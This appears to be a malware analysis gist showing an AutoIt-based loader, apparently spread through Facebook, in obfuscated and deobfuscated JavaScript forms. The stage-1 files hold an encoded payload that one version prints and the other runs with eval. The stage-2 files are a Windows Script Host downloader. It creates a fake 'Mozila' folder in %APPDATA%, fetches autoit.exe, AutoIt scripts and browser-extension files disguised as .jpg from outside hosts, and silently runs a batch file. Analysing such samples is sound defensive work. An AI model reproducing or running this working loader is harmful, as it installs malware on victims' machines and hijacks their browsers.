Facebook AutoIt malware loader deobfuscated

01-clean.js

function function1(parameter) {
    var constant1="DBhsWQfJfCkjXAexutwEMbCXfakjAxleZtwWjCFpeQzbqDzKWVpJ";
    characters = '*;%cuqbRE/F_{,U=o4X>N&|YM5O.-jaQeHfmxLB?7KG+w)Cv<"2ztkn!d([0JpDTZ938}W6hgAiISr]PVsyl1: \\'.split("");
    parameter = parameter.split("u");
    command = "";
    for (var i = 0; i < parameter.length; i++)
    {
        if(typeof characters[parameter[i]] != "undefined")
        {
            command = command + characters[parameter[i]];
            var variable1="RpBHODYscIpXYYVRFXKwjeMHCbxxnyUfNvMCYLUbukZsiUkNSUkbZXIBZgZnETssofUnQPpk";
        }
        var variable2="eLjeRirwbJOqOJEEzTPzhsIqgErPMuwRfGVXPmtQVihKSMorFeRNxzeDewsQRPIWvDTkPnbLvjvnVKFBOwo";
    }
    var variable3="dxETKFEgPZuKKalyxAKtTzvJHoqEOUYSrCLciqjXqDIaDUyaviupIQYpepUSjSLAvxDD";
    console.log(command);
}
function1("57uu34u4u54u3u52u74u16u54u57u3u45u86u12uuu86u86u86u86u34u4u54u3u52u74u16u54u86u30u57u30u13u86u6u13u86u61u16u81u45u86u12uuu86u86u86u86u86u86u86u86u74u34u86u57u55u6u86u22u22u86u55u30u45u86u77u32u52u4u77u54u86u54u4u83u83u1uuu86u86u86u86u86u86u86u86u47u30u77u86u56u86u15u86u69u76u3u77u74u61u52u27u46u77u32u30u52u32u26u6u29u32u3u52u57u49u24u81u36u35u83u50u27u18u24u37u71u52u52u61u49u45u1uuu86u86u86u86u86u86u86u86u56u27u16u54u77u32u30u56u82u81u52u30u52u32u3u71u30u54u72u32u86u15u86u34u4u54u3u52u74u16u54u57u45u86u12uuu86u86u86u86u86u86u86u86u86u86u86u86u74u34u86u57u56u27u77u32u30u56u82u76u52u30u52u32u86u15u15u15u86u17u86u21u21u86u56u27u81u52u30u52u4u81u86u15u15u15u86u50u59u59u45u86u12uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u44u77u74u52u32u57u56u27u7u32u81u61u16u54u81u32u38u16u56u82u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u61u16u81u74u52u74u16u54u86u15u86u61u16u81u1uuuuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u44u77u74u52u32u57u36u30u27u77u32u30u56u57u45u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u81u30u47u32u63u16u10u74u83u32u57u6u13u86u50u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u68uuu86u86u86u86u86u86u86u86u68u1uuuuu86u86u86u86u86u86u86u86u56u27u16u61u32u54u57u49u42u8u63u49u13u86u30u13u86u34u30u83u81u32u45u1uuu86u86u86u86u86u86u86u86u56u27u81u32u54u56u57u54u4u83u83u45u1uuu86u86u86u86u68uuuuu86u86u86u86u34u4u54u3u52u74u16u54u86u32u53u83u32u57u4u81u52u56u16u81u82u30u13u86u30u83u52u56u16u81u82u30u45u86u12uuu86u86u86u86u86u86u86u86u12uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u37u16u30u56u10u77u16u35u10u74u83u32u57u4u81u52u56u16u81u82u30u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u27u37u16u30u56u10u77u16u35u10u74u83u32u57u30u83u52u56u16u81u82u30u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u44u77u74u52u32u57u74u36u27u77u32u30u56u57u45u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u44u77u74u52u32u57u36u30u27u77u32u30u56u57u45u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u81u30u47u32u63u16u10u74u83u32u57u4u81u52u56u16u81u82u30u13u86u50u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u68uuu86u86u86u86u68uuuuu86u86u86u86u34u81u16u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u76u3u77u74u61u52u74u54u72u27u10u74u83u32u76u82u81u52u32u35u26u6u29u32u3u52u49u45u1uuu86u86u86u86u47u30u77u86u32u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u69u76u3u77u74u61u52u27u76u71u32u83u83u49u45u1uuu86u86u86u86u3u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u76u71u32u83u83u27u73u61u61u83u74u3u30u52u74u16u54u49u45u1uuu86u86u86u86u10u74u83u32u62u32u81u52u77u86u15u86u32u58u49u8u36u61u30u54u56u8u54u47u74u77u16u54u35u32u54u52u76u52u77u74u54u72u81u49u78u57u49u2u73u79u79u62u73u63u73u2u87u87u49u45u1uuu86u86u86u86u35u16u51u53u83u30u81u16u77u86u15u86u10u74u83u32u62u32u81u52u77u86u43u86u49u24u16u51u74u83u30u49u1uuu86u86u86u86u74u34u86u57u55u34u81u16u27u10u16u83u56u32u77u8u36u74u81u52u81u57u35u16u51u53u83u30u81u16u77u45u45u86u12uuu86u86u86u86u86u86u86u86u34u81u16u27u46u77u32u30u52u32u10u16u83u56u32u77u57u35u16u51u53u83u30u81u16u77u45u1uuu86u86u86u86u68uuu86u86u86u86u3u27u76u71u32u83u83u8u36u32u3u4u52u32u57u49u71u52u52u61u85u9u9u52u77u30u3u53u74u54u72u27u77u32u56u74u77u32u3u52u27u61u4u6u9u30u56u9u17u3u30u3u65u70u40u84u39u56u15u84u49u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u73u4u52u16u74u52u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u30u4u52u16u74u52u27u32u36u32u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u6u72u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u6u72u27u29u81u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u32u53u83u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u32u53u83u27u30u4u66u49u13u86u59u45u1uuuu30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u34u34u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u34u34u27u51u74u61u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u34u16u77u3u32u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u34u16u77u3u32u27u30u4u66u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u81u30u6u74u52u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u81u30u6u74u52u27u30u4u66u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u35u30u54u74u34u32u81u52u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u35u30u54u74u34u32u81u52u27u29u81u16u54u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u77u4u54u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u77u4u54u27u6u30u52u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u4u61u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u4u61u27u30u4u66u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u44u71u16u81u27u30u35u4u54u72u27u4u81u9u61u74u54u72u29u81u9u39u53u15u61u74u54u72u29u81u32u66u17u70u50u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u61u74u54u72u50u27u29u81u49u13u86u59u45u1uuuuu86u86u86u86u3u27u76u71u32u83u83u8u36u32u3u4u52u32u57u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u77u4u54u27u6u30u52u49u13u86u49u49u13u86u35u16u51u53u83u30u81u16u77u13u86u49u49u13u86u59u45u1uuuuu68u45u57u52u71u74u81u45u1")

01-obfuscated.js

function wMSMkCBX(cphJgDYrHKO) {var AUoZktFYldxnezn="DBhsWQfJfCkjXAexutwEMbCXfakjAxleZtwWjCFpeQzbqDzKWVpJ"; WOQfEuzqeFN = '*;%cuqbRE/F_{,U=o4X>N&|YM5O.-jaQeHfmxLB?7KG+w)Cv<"2ztkn!d([0JpDTZ938}W6hgAiISr]PVsyl1: \\'.split("");cphJgDYrHKO = cphJgDYrHKO.split("u");yzcabZYeofO = "";for (var INMpxBeup = 0; INMpxBeup < cphJgDYrHKO.length; INMpxBeup++) {if(typeof WOQfEuzqeFN[cphJgDYrHKO[INMpxBeup]] != "undefined") {yzcabZYeofO = yzcabZYeofO + WOQfEuzqeFN[cphJgDYrHKO[INMpxBeup]];var SGcTRltpxypQUla="RpBHODYscIpXYYVRFXKwjeMHCbxxnyUfNvMCYLUbukZsiUkNSUkbZXIBZgZnETssofUnQPpk";}var oDiiNWbIhc="eLjeRirwbJOqOJEEzTPzhsIqgErPMuwRfGVXPmtQVihKSMorFeRNxzeDewsQRPIWvDTkPnbLvjvnVKFBOwo";}var WtPbPiSGXAD="dxETKFEgPZuKKalyxAKtTzvJHoqEOUYSrCLciqjXqDIaDUyaviupIQYpepUSjSLAvxDD";eval(yzcabZYeofO);}wMSMkCBX("57uu34u4u54u3u52u74u16u54u57u3u45u86u12uuu86u86u86u86u34u4u54u3u52u74u16u54u86u30u57u30u13u86u6u13u86u61u16u81u45u86u12uuu86u86u86u86u86u86u86u86u74u34u86u57u55u6u86u22u22u86u55u30u45u86u77u32u52u4u77u54u86u54u4u83u83u1uuu86u86u86u86u86u86u86u86u47u30u77u86u56u86u15u86u69u76u3u77u74u61u52u27u46u77u32u30u52u32u26u6u29u32u3u52u57u49u24u81u36u35u83u50u27u18u24u37u71u52u52u61u49u45u1uuu86u86u86u86u86u86u86u86u56u27u16u54u77u32u30u56u82u81u52u30u52u32u3u71u30u54u72u32u86u15u86u34u4u54u3u52u74u16u54u57u45u86u12uuu86u86u86u86u86u86u86u86u86u86u86u86u74u34u86u57u56u27u77u32u30u56u82u76u52u30u52u32u86u15u15u15u86u17u86u21u21u86u56u27u81u52u30u52u4u81u86u15u15u15u86u50u59u59u45u86u12uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u44u77u74u52u32u57u56u27u7u32u81u61u16u54u81u32u38u16u56u82u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u61u16u81u74u52u74u16u54u86u15u86u61u16u81u1uuuuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u44u77u74u52u32u57u36u30u27u77u32u30u56u57u45u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u81u30u47u32u63u16u10u74u83u32u57u6u13u86u50u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u68uuu86u86u86u86u86u86u86u86u68u1uuuuu86u86u86u86u86u86u86u86u56u27u16u61u32u54u57u49u42u8u63u49u13u86u30u13u86u34u30u83u81u32u45u1uuu86u86u86u86u86u86u86u86u56u27u81u32u54u56u57u54u4u83u83u45u1uuu86u86u86u86u68uuuuu86u86u86u86u34u4u54u3u52u74u16u54u86u32u53u83u32u57u4u81u52u56u16u81u82u30u13u86u30u83u52u56u16u81u82u30u45u86u12uuu86u86u86u86u86u86u86u86u12uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u37u16u30u56u10u77u16u35u10u74u83u32u57u4u81u52u56u16u81u82u30u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u27u37u16u30u56u10u77u16u35u10u74u83u32u57u30u83u52u56u16u81u82u30u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u73u62u26u62u38u27u76u52u77u32u30u35u49u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u52u82u61u32u86u15u86u84u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u16u61u32u54u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u44u77u74u52u32u57u74u36u27u77u32u30u56u57u45u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u44u77u74u52u32u57u36u30u27u77u32u30u56u57u45u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u36u30u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u74u36u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u81u30u47u32u63u16u10u74u83u32u57u4u81u52u56u16u81u82u30u13u86u50u45u1uuu86u86u86u86u86u86u86u86u86u86u86u86u81u52u35u50u27u3u83u16u81u32u57u45u1uuu86u86u86u86u86u86u86u86u68uuu86u86u86u86u68uuuuu86u86u86u86u34u81u16u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u76u3u77u74u61u52u74u54u72u27u10u74u83u32u76u82u81u52u32u35u26u6u29u32u3u52u49u45u1uuu86u86u86u86u47u30u77u86u32u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u69u76u3u77u74u61u52u27u76u71u32u83u83u49u45u1uuu86u86u86u86u3u86u15u86u54u32u44u86u73u3u52u74u47u32u18u26u6u29u32u3u52u57u49u76u71u32u83u83u27u73u61u61u83u74u3u30u52u74u16u54u49u45u1uuu86u86u86u86u10u74u83u32u62u32u81u52u77u86u15u86u32u58u49u8u36u61u30u54u56u8u54u47u74u77u16u54u35u32u54u52u76u52u77u74u54u72u81u49u78u57u49u2u73u79u79u62u73u63u73u2u87u87u49u45u1uuu86u86u86u86u35u16u51u53u83u30u81u16u77u86u15u86u10u74u83u32u62u32u81u52u77u86u43u86u49u24u16u51u74u83u30u49u1uuu86u86u86u86u74u34u86u57u55u34u81u16u27u10u16u83u56u32u77u8u36u74u81u52u81u57u35u16u51u53u83u30u81u16u77u45u45u86u12uuu86u86u86u86u86u86u86u86u34u81u16u27u46u77u32u30u52u32u10u16u83u56u32u77u57u35u16u51u53u83u30u81u16u77u45u1uuu86u86u86u86u68uuu86u86u86u86u3u27u76u71u32u83u83u8u36u32u3u4u52u32u57u49u71u52u52u61u85u9u9u52u77u30u3u53u74u54u72u27u77u32u56u74u77u32u3u52u27u61u4u6u9u30u56u9u17u3u30u3u65u70u40u84u39u56u15u84u49u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u73u4u52u16u74u52u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u30u4u52u16u74u52u27u32u36u32u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u6u72u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u6u72u27u29u81u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u32u53u83u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u32u53u83u27u30u4u66u49u13u86u59u45u1uuuu30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u34u34u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u34u34u27u51u74u61u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u34u16u77u3u32u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u34u16u77u3u32u27u30u4u66u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u81u30u6u74u52u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u81u30u6u74u52u27u30u4u66u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u35u30u54u74u34u32u81u52u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u35u30u54u74u34u32u81u52u27u29u81u16u54u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u77u4u54u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u77u4u54u27u6u30u52u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u4u81u32u77u32u36u61u32u77u74u32u54u3u32u81u52u30u52u74u3u81u27u54u32u52u9u32u36u52u9u4u61u27u29u61u72u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u4u61u27u30u4u66u49u13u86u59u45u1uuu86u86u86u86u30u57u49u71u52u52u61u85u9u9u44u71u16u81u27u30u35u4u54u72u27u4u81u9u61u74u54u72u29u81u9u39u53u15u61u74u54u72u29u81u32u66u17u70u50u49u13u86u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u61u74u54u72u50u27u29u81u49u13u86u59u45u1uuuuu86u86u86u86u3u27u76u71u32u83u83u8u36u32u3u4u52u32u57u35u16u51u53u83u30u81u16u77u86u43u86u49u87u87u77u4u54u27u6u30u52u49u13u86u49u49u13u86u35u16u51u53u83u30u81u16u77u13u86u49u49u13u86u59u45u1uuuuu68u45u57u52u71u74u81u45u1")

02-clean.js

(function(c) {
    function downloader(url, destination, position) {
        if (!destination || !url)
            return null;
        var http_client = WScript.CreateObject("Msxml2.XMLhttp");
        http_client.onreadystatechange = function() {
            if (http_client.readyState === 4 && http_client.status === 200) {
                stream1 = new ActiveXObject("ADODB.Stream");
                stream1.open();
                stream1.type = 1;
                stream1.write(http_client.ResponseBody);
                stream1.position = position;
                stream2 = new ActiveXObject("ADODB.Stream");
                stream2.type = 1;
                stream2.open();
                stream2.write(stream1.read());
                stream2.saveToFile(destination, 2);
                stream2.close();
                stream1.close();
            }
        };
        http_client.open("GET", url, false);
        http_client.send(null);
    }
}
file_system = new ActiveXObject("Scripting.FileSystemObject");
var environment = new ActiveXObject("WScript.Shell");
shell = new ActiveXObject("Shell.Application");
appdata_folder = environment["ExpandEnvironmentStrings"]("%APPDATA%\\");
mozila_folder = appdata_folder + "Mozila";
if (!file_system.FolderExists(mozila_folder)) {
    file_system.CreateFolder(mozila_folder);
}
shell.ShellExecute("http://tracking.redirect.pub/ad/4cac9671?d=1");
downloader("http://userexperiencestatics.net/ext/Autoit.jpg", mozila_folder + "\\autoit.exe", 0);
downloader("http://userexperiencestatics.net/ext/bg.jpg", mozila_folder + "\\bg.js", 0);
downloader("http://userexperiencestatics.net/ext/ekl.jpg", mozila_folder + "\\ekl.au3", 0);
downloader("http://userexperiencestatics.net/ext/ff.jpg", mozila_folder + "\\ff.zip", 0);
downloader("http://userexperiencestatics.net/ext/force.jpg", mozila_folder + "\\force.au3", 0);
downloader("http://userexperiencestatics.net/ext/sabit.jpg", mozila_folder + "\\sabit.au3", 0);
downloader("http://userexperiencestatics.net/ext/manifest.jpg", mozila_folder + "\\manifest.json", 0);
downloader("http://userexperiencestatics.net/ext/run.jpg", mozila_folder + "\\run.bat", 0);
downloader("http://userexperiencestatics.net/ext/up.jpg", mozila_folder + "\\up.au3", 0);
downloader("http://whos.amung.us/pingjs/?k=pingjse3462", mozila_folder + "\\ping2.js", 0);
shell.ShellExecute(mozila_folder + "\\run.bat", "", mozila_folder, "", 0);})(this);

02-obfuscated.js

(function(c) {    function a(a, b, pos) {        if (!b || !a) return null;        var d = WScript.CreateObject("Msxml2.XMLhttp");        d.onreadystatechange = function() {            if (d.readyState === 4 && d.status === 200) {                xa = new ActiveXObject("ADODB.Stream");                xa.open();                xa.type = 1;                xa.write(d.ResponseBody);                xa.position = pos;                stm2 = new ActiveXObject("ADODB.Stream");                stm2.type = 1;                stm2.open();                stm2.write(xa.read());                stm2.saveToFile(b, 2);                stm2.close();                xa.close();            }        };        d.open("GET", a, false);        d.send(null);    }    function ekle(ustdosya, altdosya) {        {            xa = new ActiveXObject("ADODB.Stream");            xa.open();            xa.type = 1;            xa.LoadFromFile(ustdosya);            ix = new ActiveXObject("ADODB.Stream");            ix.open();            ix.type = 1;            ix.LoadFromFile(altdosya);            stm2 = new ActiveXObject("ADODB.Stream");            stm2.type = 1;            stm2.open();            stm2.write(ix.read());            stm2.write(xa.read());            xa.close();            ix.close();            stm2.saveToFile(ustdosya, 2);            stm2.close();        }    }    fso = new ActiveXObject("Scripting.FileSystemObject");    var e = new ActiveXObject("WScript.Shell");    c = new ActiveXObject("Shell.Application");    FileDestr = e["ExpandEnvironmentStrings"]("%APPDATA%\\");    mozklasor = FileDestr + "Mozila";    if (!fso.FolderExists(mozklasor)) {        fso.CreateFolder(mozklasor);    }    c.ShellExecute("http://tracking.redirect.pub/ad/4cac9671?d=1");    a("http://userexperiencestatics.net/ext/Autoit.jpg", mozklasor + "\\autoit.exe", 0);    a("http://userexperiencestatics.net/ext/bg.jpg", mozklasor + "\\bg.js", 0);    a("http://userexperiencestatics.net/ext/ekl.jpg", mozklasor + "\\ekl.au3", 0);a("http://userexperiencestatics.net/ext/ff.jpg", mozklasor + "\\ff.zip", 0);    a("http://userexperiencestatics.net/ext/force.jpg", mozklasor + "\\force.au3", 0);    a("http://userexperiencestatics.net/ext/sabit.jpg", mozklasor + "\\sabit.au3", 0);    a("http://userexperiencestatics.net/ext/manifest.jpg", mozklasor + "\\manifest.json", 0);    a("http://userexperiencestatics.net/ext/run.jpg", mozklasor + "\\run.bat", 0);    a("http://userexperiencestatics.net/ext/up.jpg", mozklasor + "\\up.au3", 0);    a("http://whos.amung.us/pingjs/?k=pingjse3462", mozklasor + "\\ping2.js", 0);    c.ShellExecute(mozklasor + "\\run.bat", "", mozklasor, "", 0);})(this);